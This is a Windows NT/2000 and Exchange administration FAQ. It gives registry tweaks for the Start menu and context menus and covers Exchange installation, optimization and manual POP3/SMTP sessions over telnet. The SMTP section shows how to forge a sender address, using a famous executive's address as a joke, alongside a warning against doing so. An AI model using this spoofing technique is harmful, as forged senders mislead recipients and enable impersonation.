  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CLASSES_ROOT
  3. Move to the file extension of the template you no longer want to be displayed, e.g. .s3d for Simply 3D, .psp for Paint Shop Pro, .doc for Word
  4. If the template appears on the New menu there will be a subkey, ShellNew. Select this key and press DEL. Click YES to the confirmation
  5. Close the registry editor

It will now be removed from the new menu (you will have to restart Explorer if it is running so it reloads in the registry information).


Q. I don't have the new item on my desktop context menu.

A. If when you right click on the desktop there is no "New" item perform the following:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CLASSES_ROOT\Directory\Background\shellex\ContextMenuHandlers
  3. From the Edit menu select New - Key and enter a name of New. Press Enter
  4. Move to New
  5. Double click on the default value and enter data "{D969A300-E7FF-11d0-A93B-00A0C90F2719}" (don't type the quotes)
  6. Click OK
  7. Close the registry editor

You should now have a New item on the desktop context menu. A reboot is not needed.


Q. How do I remove the Favorites branch of the Start menu?

A. If you wish to remove your Favorites from the Start menu perform the following:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
  3. From the Edit menu select New - DWORD value
  4. Enter a name of NoFavoritesMenu and press Enter
  5. Double click the new value and set to 1. Click OK
  6. Close the registry editor

Log off and on again and voila, the Favorites menu is gone.


Q. How do I disable the logoff buttons?

A. If you wish to disable the logoff buttons on the Start menu/NT Security dialog perform the following

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
  3. From the Edit menu select New - DWORD value
  4. Enter a name of NoLogoff and press Enter
  5. Double click the new value and set to 1. Click OK
  6. Close the registry editor

The change takes immediate effect. To undo simply set to the value to 0.


Q. How do I stop the default Shortcut to text added to new shortcuts?

A. Perform the registry change as described below to stop the "Shortcut to" being prefixed to the name of your shortcuts.

  1. Start the registry editor (regedt32, not regedit.exe)
  2. Move to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer
  3. Double click on link
  4. Change to 00000000 and click OK
  5. Close the registry editor
  6. Log off and in again for the change to take effect


Q. How do I modify the shortcut arrow?

A. Perform the registry change as described below to modify the arrow used on shortcuts

  1. Start the registry editor (regedt32 or regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons
  3. Double click on 29
  4. Change to the name of the icon, icon number, e.g. "shell32.dll,30" is a big arrow
  5. Close OK
  6. Close the registry editor

The above change would then take effect at next logon.

To avoid the logoff you could modify an icon related entry, make the screen repaint by changing the background and set back, e.g. HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics\Shell Icon Size.

If the Shell Icons\29 value does not exist then you will need to create the Shell Icons branch and then create the 29 value of type String, told you that your hands would get dirty

A better way is to use TweakUI to perform the above arrow change.


Q. How can I set the default view for all drives/folders?

A. Set the view to what you want (perhaps "Details") and close the window while holding the Ctrl key.


Q. How can I stop my environment changes being saved when I logoff?

A. By default when you Logoff, Windows stores your settings into your profile and this includes any open Explorer windows, position changes etc. It is possible to stop NT saving these settings:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
  3. From the Edit menu select "New - DWORD value". Enter a name of "NoSaveSettings"
  4. Double click the new value and set to 1

When you logoff any open windows will not be reopened and savings will not be saved. This setting can also be set domain wide using the policy editor.

  1. Start the policy editor (poledit.exe)
  2. Open your domains policy (or create a new one)
  3. Double click Default User
  4. Expand Shell - Restrictions
  5. Check the 'Don't save settings at exit'
  6. Click OK
  7. Save the policy to the netlogon share of the domain controllers.


Q. How can I enable Hi-Colour icons?

A. If you run the Desktop control panel applet (Start - Settings - Control Panel - Desktop) and select the Plus! tab you can check the box "Show icons using all possible colors" to get better resolution icons, however this can also be done by directly editing the registry (if you don't have the Plus! tab or if you wish to perform via a logon script etc.)

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics
  3. From the Edit menu select New - String Value
  4. Enter a name of "Shell Icon BPP" (don't type the quotes) and press enter
  5. Double click the new value and set to 16 if you have a 16 bit graphic card or 24 for 24 bit graphics cards. Click OK
  6. Close the registry editor

Pressing F5 to refresh your screen should make the change take effect, if not reboot.


Q. How can I configure the wallpaper to stretch across the screen?

A. If you run the Desktop control panel applet (Start - Settings - Control Panel - Desktop) and select the Plus! tab you can check the box "Stretch desktop wallpaper to fill the screen" to force the wallpaper to fill the entire screen, however this can also be done by directly editing the registry (if you don't have the Plus! tab or if you wish to perform via a logon script etc.)

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CURRENT_USER\Control Panel\Desktop
  3. From the Edit menu select New - String Value
  4. Enter a name of "WallpaperStyle" (don't type the quotes) and press enter
  5. Double click the new value and set to 2 if you want the wallpaper to be stretched or 0 for normal display. Click OK
  6. Close the registry editor

To make the change take effect either logoff and then logon or run the Desktop control panel applet and change anything to make it refresh the screen.


Q. How can I configure dialog box content to be shown while dragging windows?

A. If you run the Desktop control panel applet (Start - Settings - Control Panel - Desktop) and select the Plus! tab you can check the box "Show window contents while dragging". This can also be done by directly editing the registry (if you don't have the Plus! tab or if you wish to perform via a logon script etc.)

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CURRENT_USER\Control Panel\Desktop
  3. If a value DragFullWindows does not exist from the Edit menu select New - String Value, enter a name of "DragFullWindows" (don't type the quotes) and press enter
  4. Double click the new value and set to 1. Set to 0 to disable. Click OK
  5. Close the registry editor

To make the change take effect either logoff and then logon or reboot the machine.


Q. How can I configure Font smoothing?

A. If you run the Desktop control panel applet (Start - Settings - Control Panel - Desktop) and select the Plus! tab you can check the box "Smooth edges of screen fonts". This can also be done by directly editing the registry (if you don't have the Plus! tab or if you wish to perform via a logon script etc.)

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CURRENT_USER\Control Panel\Desktop
  3. If a value FontSmoothing does not exist from the Edit menu select New - String Value, enter a name of "FontSmoothing" (don't type the quotes) and press enter
  4. Double click the new value and set to 2. Set to 0 to disable. Click OK
  5. Close the registry editor

To make the change take effect either logoff and then logon or reboot the machine.


Q. How can I modify the grace timeout for password protected screensavers?

A. When a password protected screen saver starts there is a grace period before a password needs to be entered to deactivate. This can be changed as follows:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
  3. From the edit menu select New - String Value from the Edit menu
  4. Enter a name of ScreenSaverGracePeriod and press Enter
  5. Double click and set to the number of seconds grace period. Click OK
  6. Close the registry editor
  7. Reboot the machine


Q. How can I minimize all open windows?

A. To minimize all open Windows press <Win key> + M. To restore press <Win key> + <shift> + M


Q. How can I configure logoff to show on the Start menu in Windows 2000?

A. This is normally done by selecting 'Taskbar & Start Menu...' from the Settings menu of the Start button, select the 'Start Menu Options' and check the ' Display Logoff' option.

You can also accomplish this by directly editing the registry:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
  3. From the Edit menu select New - DWORD value and enter a name of StartMenuLogoff (if it does not exist)
  4. Double click the new value and set to 1
  5. Close the registry editor
  6. Logoff and then logon


Q. How can I configure Control Panel to cascade on the Start menu in Windows 2000?

A. This is normally done by selecting 'Taskbar & Start Menu...' from the Settings menu of the Start button, select the 'Start Menu Options' and check the 'Expand Control Panel' option.

You can also accomplish this by directly editing the registry:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
  3. From the Edit menu select New - String value and enter a name of CascadeControlPanel (if it does not exist)
  4. Double click the new value and set to YES
  5. Close the registry editor
  6. Logoff and then logon


Q. How can I remove the Scheduled Tasks icon from My Computer?

A. The Scheduled Tasks icon can be removed by editing the registry as follows:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace
  3. Select {D6277990-4C6A-11CF-8D87-00AA0060F5BF}
  4. This step is optional but from the Registry menu select "Export Registry File". Enter a name for the reg file which will be created. This file will allow you to automatically undo this if you wish.
  5. Press the Del key to delete the key.
  6. Click Yes to the deletion confirmation dialog
  7. Scheduled Tasks will no longer be visible from My Computer

To restore it using your reg file just double click on the reg file from Explorer and scheduled tasks will be restored.


Q. How can I configure the Administrative Tools to show on the Start menu?

A. By default under Windows 2000 Professional the Administrative Tools branch is not shown and it is on the Windows 2000 Server, Advanced Server and Datacenter products.

It can be configured as follows:

  1. Start the 'Taskbar and Start menu' configuration (Start - Settings - Taskbar and Start menu)
  2. Select the 'Start Menu Options' tab
  3. Check or uncheck the 'Display Administrative Tools'
  4. Click Apply then OK

This updates the registry entry HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\StartMenuAdminTools to either NO or YES.


Q. How can I recreate 'My Briefcase' if I deleted it?

A. To recreate the My Briefcase icon on your desktop just type the command

syncapp

Either from a CMD.EXE session or the RUN box.

You can also recreate by right clicking on the desktop and selecting New - Briefcase.


Q. How do I use My Briefcase?

A. My Briefcase allows you to synchronize multiple copies of files and keeps track of changes such as modifications, additions and deletions.

The normal usage method is as follows:

  1. Insert a floppy disk into your computer
  2. Create a new briefcase on the disk (from Explorer select the drive, File - New - Briefcase). By default it will be called 'New Briefcase' but you can rename by selecting and pressing F2.
  3. Copy the files from your hard disk to the new briefcase
  4. You can now edit the files on the floppy to the hard disk. The files on the floppy can also be edited on other computers

To sync the folders after making any changes open the briefcase in Explorer and click the 'Update All' button or select from the briefcase menu. Any modifications will be displayed and you have the option to perform the actual update.

If you would actually like to be able to edit the files local on different machines then you should perform the following:

  1. Insert a floppy disk
  2. Move the files you wish to keep synchronized to the floppy disk
  3. Create a briefcase on the local hard disk
  4. Copy the files from the floppy to the local briefcase
  5. Repeat steps 3 and 4 on the other machine

You would now edit the files locally from the briefcase folder which would be synchronized with the floppy disk. You would have two briefcases, one on each machine. To synchronize you would select Update All after selecting the briefcase on the hard disk and inserting the floppy disk with the original files on.

If two computers are connected via a network just create a briefcase on one machine which is accessible via a network share to the other and copy the files accordingly.

If you create a briefcase on a hard disk and wish to move to a floppy do NOT copy it, you must MOVE or the associations between the files will be lost.


Q. How can I avoid having to click 'Show Files' in 2000's Explorer all the time?

A. In Windows 2000 certain directories content is automatically hidden (such as the %systemroot%, system32 etc folder) to avoid the user accidentally corrupting the system. In order to see the files you have to click the 'Show Files' text.

If you know what you are doing this can get annoying quickly and you can disable this as follows:

  1. Start Explorer (Win + E or right click My Computer and select Explore)
  2. From the Tools menu select Folder Options
  3. On the View tab select 'Show hidden files and folders'. Click OK
  4. Move to the %systemroot% directory (e.g. c:\winnt)
  5. Click 'Show Files'
  6. Rename the Desktop.ini file to something else, e.g. Desktopbak.ini
Repeat for any other folders such as %systemroot%\system32 and 'program files'


Q. How do I add the Dial Up Networking to the Start Menu?

A. Create a New folder under the start menu you wish to have it on (administrator, All users or your specific profile), for example 'c:\winnt\Profiles\savillj\Start Menu' Name the New folder:

Dial Up Net.{992CffA0-F557-101A-88EC-00DD010CCC48}

Complete with the period, brackets and dashes. Once entered it will automatically be renamed to 'Dial Up Net' and unlike the Settings Dial Up Networking it will be cascading meaning all dial up connections will be shown as sub-objects.

If you have a problem, try pressing F5 to refresh the screen, or log off and on again.


Q. How do I add the Printers Settings applet to the Start Menu?

A. Create a New folder under the start menu you wish to have it on (administrator, All users or your specific profile), for example 'c:\winnt\Profiles\savillj\Start Menu' Name the New folder:

Printers.{2227A280-3AEA-1069-A2DE-08002B30309D}

Complete with the period, brackets and dashes. Once entered it will automatically be renamed to 'Printers' and unlike the Settings Printers it will be cascading meaning all printers will be shown as sub-objects.

If you have a problem, try pressing F5 to refresh the screen, or log off and on again.


Q. How can I remove an item from the New context menu?

A. Many applications such as Office and other document based programs may add options to the New context menu. This can slow down the system since IE 4 as to generate this list it has to fetch the icons for each of the documents.

Its possible to remove items from the new context menu by performing the following:

  1. Identify the file extension for the context menu item, for example obd for Microsoft Office Binder (if you are unsure of the extension just create a document of the type then check the extension)
  2. Start the registry editor (Regedit.exe)
  3. Move to HKEY_CLASSES_ROOT\.<extension>, e.g.HKEY_CLASSES_ROOT\.obd
  4. Delete or rename the ShellNew key. It may not always be at the root of the key, for example to disable .obd I had to goto HKEY_CLASSES_ROOT\.obd\Office.Binder.9\ShellNew.
  5. Close the registry editor
  6. The context item should no longer be displayed

This can also be accomplished using the TweakUI utility.


Q. How can I check for dead shortcuts on my system?

A. The Windows 2000 resource kit supplies Chklnks.exe which will check all your systems shortcuts and if the target of the shortcut is not found it will give the option to delete one or all of the dead shortcuts.

To use just start the Chklnks.exe application, click Next and select the dead shortcuts to remove.

The utility also runs on NT 4 boxes with no obvious problems.


Q. How can I add a Encrypt/Decrypt option to the context menu?

A. Its possible to add a context menu option to encrypt/decrypt files by adding the following registry key:

  1. Start the registry editor (Regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced
  3. From the Edit menu select New - DWORD value
  4. Enter a name of EncryptionContextMenu and press Enter
  5. Double click the new value and set to 1. Click OK
  6. Close the registry editor
  7. Reboot the computer for the change to take effect (or you can start Task Manager and stop explorer.exe and start a new occurance)

If you now right click on a file/folder Encrypt will be listed for non-encrypted files, Decrypt for encrypted files.

Click here to download a reg file which makes the change automatically.


Q. How can I add a Copy to Folder option to the context menu?

A. Its possible to add a context menu option to copy a file to a folder by adding the following registry key:

  1. Start the registry editor (Regedit.exe)
  2. Move to HKEY_CLASSES_ROOT\AllFilesystemObjects\shellex\ContextMenuHandlers
  3. From the Edit menu select New - Key
  4. Enter a name of 'Copy To' (don't type the quotes) and press Enter
  5. Move to the 'Copy To' :-) key and double click on the (Default) value
  6. Set to {C2FBB630-2971-11D1-A18C-00C04FD75D13}. Click OK
  7. Close the registry editor
  8. Restart Explorer for the change to take effect (you don't need to reboot)

If you now right click on a file/folder an option to copy to folder will be listed.

Click here to download a reg file which makes the change automatically.


Q. How can I add a Move to Folder option to the context menu?

A. Its possible to add a context menu option to move a file to a folder by adding the following registry key:

  1. Start the registry editor (Regedit.exe)
  2. Move to HKEY_CLASSES_ROOT\AllFilesystemObjects\shellex\ContextMenuHandlers
  3. From the Edit menu select New - Key
  4. Enter a name of 'Move To' (don't type the quotes) and press Enter
  5. Move to the 'Move To' :-) key and double click on the (Default) value
  6. Set to {C2FBB631-2971-11D1-A18C-00C04FD75D13}. Click OK
  7. Close the registry editor
  8. Restart Explorer for the change to take effect (you don't need to reboot)

If you now right click on a file/folder an option to move to folder will be listed.

Click here to download a reg file which makes the change automatically.


Q. The Outlook/Exchange client takes a long time to start.

A. Sometimes the protocol binding for Exchange can be wrong if more than one protocol is installed, for example if you have NetBEUI and TCP/IP installed, and you connect to the Exchange server via TCP/IP, you need to ensure TCP/IP is first in the binding order, otherwise Exchange will attempt to communicate via NetBEUI initially. To check/set perform the following:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Exchange\Exchange Provider
  3. In the right hand pane, double click Rpc_Binding_Order
  4. A dialog box will be shown containing a text string of the installed protocols separated by commas. You can move items, for example, you may want to move ncacn_ip_tcp (TCP/IP) to the front if you connect over TCP/IP. Make sure you keep them separated by commas!
  5. Click OK
  6. Close the registry editor
  7. Stop and start Exchange/Outlook


Q. How can I stop Outlook dialing my Internet Account on Startup?

A. Perform the following:

  1. Start the Mail Control Panel Applet (Start - Settings - Control Panel - Mail)
  2. Click the Services tab
  3. Select "Internet E-mail" service and click properties
  4. Click the connection tab
  5. Check the "Work Offline and use Remote Mail"
  6. Close the dialog boxes
  7. Reboot the machine


Q. How do I install Exchange?

A. The following instructions are to install Exchange 5.0

  1. Insert the Exchange CD-ROM into the computer
  2. Run <CD-ROM>\setup\i386\setup.exe (Start - Run)
  3. You may want to change the destination folder by clicking the "Change Directory" button
  4. Click the Custom Button
  5. Select the components you wish to install, you will only be able to install the Active Server Page extensions if you have IIS 3.0 with ASP installed.
  6. Click OK to continue
  7. Select your licensing method and click OK, check the "I agree" box and click OK
  8. Assuming this is the first Exchange server, click the "Create new site" and you should enter the organization and site name, click OK
  9. You need to select the Exchange admin account, by default the account you are currently logged on as will be displayed, however it is a good idea to have a separate Exchange Admin account (make sure it has "Log on as a service" and "Restore files and directories" rights). Enter the password for the account selected and click OK
  10. Once the installation is completed you will be asked if you want to run the optimizer utility, click "run optimizer" or exit.

It is a good idea to have a large pagefile.sys when running Exchange, a good size would be the amount of memory plus 100.


Q. How do I enable the Exchange Active Server Pages?

A. This functionality is new in 5.0, and enables a user to view their exchange mailbox from an Internet browser, such as Internet Explorer or Netscape. Before the Exchange Active Server Pages extension can be installed, there are two pre-requisites

  • Must have Internet Information Server (IIS) 3.0 installed
  • Must have the Active Server Pages add-on for IIS 3.0 installed

NT Server 4.0 ships with IIS 2.0, therefore assuming you have not upgraded your system since then you will need to perform the following

  1. The upgrade to IIS 3.0 is part of Service Pack 3 for NT 4.0, therefore you should install this service pack
  2. Once the machine has rebooted install the Active Server Pages extensions (these are included on the Service Pack 3 CD-ROM, \winnt400\Iis30\Asp\I386\Asp.exe)
  3. Run the Exchange setup program and select Add/Remove components
  4. Check the box "Active Server Components" and click continue
  5. The setup program will then continue as normal

Once this has finished, you will be able to connect to your Exchange mailbox by entering the URL

http://<Exchange server>/exchange

You then need to enter you Exchange alias and then click the "click here" text.


Q. How do I use the Exchange Optimizer utility?

A. After you install Exchange you are prompted to run the Exchange Optimizer utility, however it can also be run afterwards:

  1. From the Microsoft Exchange folder choose Microsoft Exchange Optimizer
  2. A dialog will be shown asking permission to stop the Exchange services, click Next
  3. Next the user and server configuration dialog will be shown and you should enter details of the number of users and how the server will be configured. Also a Limit memory option is available, by default Exchange will use as much memory as it needs, however if you have other apps running on the server you may wish to limit the memory Exchange can use, the minimum is 24MB, but you are recommended to use a limit of 32MB. Click Next to continue
  4. The application will then test your disks to decide where best to place the Exchange database files and then click Next
  5. A dialog will be shown with the new recommended file locations and click Next
  6. If files are being relocated then make sure the box on the new dialog is checked and click Next
  7. Finally click Finish


Q. How can I convert mail system X to Exchange?

A. Exchange is supplied with a migration wizard which can convert the following mail systems to Exchange

  • MsMail for PC Networks
  • Lotus cc:Mail
  • Novell Groupwise
  • Collabra Share

The wizard is in the Microsoft Exchange folder and below is an example of converting a MsMail Postoffice

  1. Start the Migration Wizard (Start - Programs - Microsoft Exchange - Microsoft Exchange Migration Wizard)
  2. Select MsMail for PC Networks and click Next
  3. Click Next to the dialog box that explains how MsMail and Exchange can coexist
  4. Enter the Path to the MsMail post office and the Administrator account name and password for the Postoffice, then click Next
  5. Select "One step Migration" and click Next
  6. Select the type of information you want to import and click Next
  7. Click "Select All" to migrate all users and click Next
  8. Enter the name of the Exchange server to store the new accounts and messages. Click Next
  9. You will now need to select the type of access for the shares MS Mail folders, the common one is "Author access: read, create, edit items" and click Next
  10. Select the recipient container and template (optional), click Next
  11. Finally choose the type of passwords to create for the new Windows NT accounts that will be created from the MS Mail mailboxes. In a multi domain environment you must select the domain for the new accounts. Click Next to begin the conversion.
  12. A process box will be displayed showing the progress, once completed a dialog will be displayed and click OK to complete.


Q. How can I create shortcut on the desktop with the "to" field completed?

A. As you may be aware, if you enter the command
exchng32 /n
This creates a blank new message, however it is not possible to specify a qualifier containing information to the content. A workaround to this is the following

  1. Start Exchange/Outlook and create a new message
  2. Fill in information for the to: field, cc: field etc.
  3. Instead of sending select Save As from the file menu
  4. Select the Save As type as "Message Format" and enter a file name and location (the default extension is .msg). Click Save
  5. Start Explorer (Win Key + E, or Start - Programs - Explorer)
  6. Move to the directory you saved the Message Format file to and right click on the file
  7. While holding down the right mouse button drag to the desktop and release the button, from the context menu displayed select "Create shortcut here"

If you now double click on the desktop message icon it will create a new message which you can edit and then send with information already filled in!


Q. NT Server hangs at shutdown if User Manager is running.

A. This is caused by an Exchange dll file which is used by User Manager, to fix this perform the following

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Network\UMAddOns
  3. Click on Mailumx and click the DEL key
  4. Click yes to the confirmation


Q. How can I send a mail message from the command line?

A. You need to use the MAPISEND.EXE utility that is supplied with the Exchange Resource kit. The component you are interested in is the admin part.

Copy the MAPISEND.EXE from the restored path (i386\admin\mapisend) to an area of your choice. The usage is simple as long as the exchange client is installed on the computer already (outlook is also OK).

mapisend -u "<profile>" -p <anything> -r <recipient> -s "<subject>" -t <text file containing the message>
e.g. mapisend -u "john savill" -p anything -r john@savilltech.com -s "Test message" -t c:\message\mail4.txt

This is just an example usage, and you may not be sure what you profile name is so instead of using -u and -p, use just -i and this allows interactive login and will also allow you to create a profile which you can then use in future. The full list of switches are

-u | Profile name (user mailbox) of sender
-p | Login password
-i | Interactive login (prompts for profile and password)
-r | Recipient(s) (multiples must be separated by ';' and must not be ambiguous in default address book.)
-c | Specifies mail copy list (cc: list)
-s | Subject line
-m | Specifies contents of the mail message, this is ignored if -t is specified
-t | Specifies text file for contents of the mail message
-f | Path and file name(s) to attach to message
-v | Generates an 8 line summary of the sent message

In all cases if the passing parameter is more than one word it should be enclosed in quotes.


Q. What files does Exchange use?

A. Below is a list of the more common files used by Exchange

File | Directory | Use
Priv.pat Pub.pat | Mdbdata | Patch files, safe to delete if no backup is taking place and no startup recovery is in operation
Dir.pat | DsaData | Patch files, as above
Dlv.log Snd.log Dlvxxxxx.log Sndxxxxx.log | Mdbdata | These are created when Sending and Delivering diagnostics logging for either the private and public information stores are set. These can be deleted at any time. Dlv.log and Snd.log are the most recent logs created.
PUB.EDB PRIV.EDB | MDBdata | Information store
DIR.EDB | DSAdata | Directory information
EDB.LOG |  | Transaction Log
EDB00nn.LOG |  | Previous Transaction Logs
EDB.CHK |  | Check Point file
RES1.LOG RES2.LOG |  | Emergency logs for when disk is full
TEMP.EDB |  | In progress transaction


Q. How can I change the location of my mail file in Outlook 98?

A. Your messages are stored in a .pst file, and by default this is kept in your personal profile space (%systemroot%/Profiles/<user name>/Application Data/Microsoft/Outlook). This is fine unless you use roaming files which mean you mail file is stored on a central server taking up space.

Fortunately moving you mail file is easy.

  1. Stop Outlook if it is running
  2. Move to you profile area and move your .pst file to another location (e.g. c:\savillj\outlook). Make sure the .pst file is no longer under your profile
  3. Start Outlook. It will give an error "The file <filename> could not be found". Click OK
  4. You can now browse to where you moved the file to. Select the .pst file and click Open.
  5. Outlook will then start as normal.

What this actually does is update one registry key, HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings\14780fd532f9d11181cc00600851c569\001e6700 and its value is the name and location of the .pst file.


Q. How can I reduce the size of my mail file?

A. When you delete files from your mail file the space is usually not cleared away and your mail file may actually grow! To reclaim the wasted space you can "compact" the mail database. The information below is for Outlook 98 but previous versions have similar functions.

  1. Start Outlook 98
  2. From the view menu select "Folder List"
  3. In the folder list pane right click on the root folder (Personal Folders) and select Properties from the context menu
  4. Click the Advanced button from the Personal Folders Properties dialog box
  5. Click the "Compact Now" button. The database will now be compacted
  6. Click OK to all dialog boxes to return to Outlook 98

If you find the mail file has not been substantially reduced in size it may be there is no redundant information or you may need to run the compaction a couple more times as sometimes the process does not work 100%.


Q. I have a bad message in my POP3 mail box , how can I remove it/read POP using TELNET?

A. It is possible to connect to a POP3 mailbox using Telnet so you should connect via telnet and delete the problem message.

  1. Telnet to the pop3 mail server on port 110
    C:\> telnet <pop3 mail server> 110
    e.g. telnet pop.savilltech.com 110 (this does not exist so don't bother!)
    Once you connet you will get a +OK prompt
  2. Tell the pop3 server your username (the name you usually logon as)
    user john
  3. Now tell the server your password
    pass password
  4. You will now be logged in and to see how many messages you have enter the word STAT which will tell you the number and size of the messages.
  5. To get a list of each message type LIST.
  6. To view the contents of a message use
    retr <message number>
    or to view just the header type
    top <message number> 0
  7. Once you find the problem just delete it using the DELE comamdn
    dele <message number>
  8. Finally to exit just type QUIT

This is obviously useful in a number of scerios and you could use it just to read you mail if you did not have access to a mail client.

Below is an example of the above in action.

Reading a POP mailbox using Telnet


Q. How can I send mail to a SMTP server using Telnet?

A. As with POP3, SMTP messages can also be sent using telnet by connecting to port 25 on the SMTP server, e.g.

C:\> telnet smtp.savilltech.com 25

Once connected you optionally announce to the server who you are (this is needed for some SMTP servers)

helo <domain>
e.g. helo savilltech.com

vrfy <user account>
e.g. vrfy john

Once you are verified you can commence to write an e-mail message. The first command is mail and you specify who it is from, e.g.

mail from:<billg@microsoft.com>

The address has to be in <>. Next you have to specify who will be receiving the message using rcpt, e.g.

rcpt to:<john@savilltech.com>

The from and to have been completed you can start the body of the message using the data command. You have to create the header information in the first lines of the message. Once you have completed the message enter a '.' on a blank link and the message will be sent. Below is an example creating a message.

Telnet SMTP send

As you can see I entered a from, date, to and a subject and then entered the body of the text. Make sure you don't make a mistake as if you backspace this is enterpreted as a bad character and will be rejected. If a message is rejected a rejection will be send to the address specified in the "mail from:<...>" and for this reason you should only ever put your e-mail address. Although I have used a different address as a joke you should NEVER do this.

Below is how the message looks when received in Outlook 98:

Bill loves me :-)

The above shows how easy it is to send a message and make it look from a different address but if you examined the header you would easily see it was sent from a different mail server and rumble its a fake (and a very bad one)!

I shall be adding future entries describing how to STOP people sending mail from your server (as they probably can at the moment).

For full information on SMTP and the commands you can use see Request For Comments 821.


Q. Is there a list of know Exchange Directory and Information store problems?

Q. Is there a list of known Exchange Directory and Information store problems?

A. An excellent collection has been compiled and is located at http://support.microsoft.com/support/exchange/content/whitepapers/dsis.asp


Q. How do I install Exchange Server 5.5?

A. These instructions are to install the first Exchange Server in the Enterprise

Before you install Exchange Server 5.5, two accounts need to be decided on. The first account is the account that you log on as when you perform the installation of Exchange as this account will be automatically granted the Exchange Administrator permission.

The second account needs to be created and this will be used as the service account for running the Exchange Server services. Any name can be used, the most obvious would be "Exchange Service". To create this account perform the following:

  1. Start User Manager (Start - Programs - Administrative Tools - User Manager for Domains)
  2. From the User menu select New User
  3. Enter a name of "Exchange Service" with a password.
  4. Make sure you clear "User Must Change Password At Next Logon" and "Account Disabled", and check "User Cannot Change Password" and "Password Never Expires" is set
  5. Close User Manager

Under Windows 2000 this would be set using the Active Directory Users and Computers MMC snap-in, expand the domain, right click on Users and select New - Users. Enter Exchange Service, click Next and then select the options as in step 4 and click Finish. I found under Windows 2000 I had to make the Exchange Service account a member of the local Administrators group on the server Exchange is being installed on.

Also before installing make sure you have a complete backup of your system.

Now you can start the installation.

  1. Logon to the server as the account you want to be the Exchange Administrator
  2. Insert the Exchange Server 5.5 CD-ROM
  3. Run Launch.exe off the CD-ROM if it does not start automatically.
  4. Select "Setup Server and Components"
  5. Select "Microsoft Exchange Server 5.5"
  6. The Exchange server Setup will then run. Click "Accept" to the license agreement.
  7. Select the installation type, typical, complete/custom or minimum. Click Complete/Custom. You could also change the installation directory if you wish by clicking "Change Directory".
  8. Select the components to install. Click Continue.
  9. Enter the CD-Key and click OK.
  10. Click OK to the Product ID dialog.
  11. Check the "I agree that" licensing dialog box and click OK.
  12. As this is the first Exchange server select the "Create a new site". Enter an Organization Name and a site name, e.g. SavillTech and London. Click OK.
  13. Click Yes to create a new site.
  14. You should then select the user account that you created as the Exchange Service account by clicking browse and enter the password you set. Click OK
  15. The rights 'Log on as a service', 'Restore files and directories' and 'Act as part of the operating system' will be granted to the Exchange Service account. Click OK to the notification dialog box.
  16. Files will then be copied.

Once Installation is complete you should run the Microsoft Exchange Performance Optimizer (Start - Programs - Microsoft Exchange - Microsoft Exchange Optimizer). You will be given the option to run this automatically if installation is successful.


Q. How do I run the Exchange Optimizer?

A. Exchange ships with a utility that allows the program to gather information about the computer and make changes to the Exchange configuration to enhance performance. These performance enhancements are primarily gained by moving the files that make up Exchange to different physical disk drives.

  1. Start the Exchange Optimizer (either as part of the installation of Exchange or from the Exchange sub menu of Programs)
  2. Chose options for the server (see diagram below). You can always run this again at a later time if the configuration scaling changes.
  3. Disk analysis runs, click Next
  4. Recommended file moves displayed. Adjust or accept and click Next
  5. Select whether the optimizer should copy files automatically (by checking the "Move files automatically" box and click Next
  6. Services will then be restarted. Check the "Do not restart these services" if its not convenient. Click Finish
  7. Parameters will then be saved the were calculated by the optimizer, services stopped, files moved then services started again.


Q. What Service Packs are available for Exchange?

A. Below is a list of the service packs available:

Exchange 5.5

Service Pack 3 from

ftp://ftp.microsoft.com/bussys/exchange/exchange-public/fixes/eng/exchg5.5/sp3/server

Hotfixies for SP3 from ftp://ftp.microsoft.com//bussys/exchange/exchange-public/fixes/eng/exchg5.5/postsp3

Service Pack 2 from ftp://ftp.microsoft.com/bussys/exchange/exchange-public/fixes/Eng/Exchg5.5/Sp2/Server/

Files to download:

SP2_550A.EXE | Server update for Alpha
SP2_550I.EXE | Server update for Intel
SP2_55CA.EXE | Chat server update for Alpha
SP2_55CI.EXE | Chat server update for Intel
SP2_55DC.EXE | Documentation
SP2_55FO.EXE | HTML Form Converter
SP2_55SS.EXE | Server support files (cluster,KMS,etc)
SP2_55XA.EXE | Exchange connector installation(Alpha)
SP2_55XI.EXE | Exchange connector installation(Intel)
SP2S550A.EXE | Server symbols for Alpha
SP2S550I.EXE | Server symbols for Intel
SP2S55CA.EXE | Chat server symbols for Alpha
SP2S55CI.EXE | Chat server symbols for Intel
SP2_55RE.EXE | Readme and HTML file

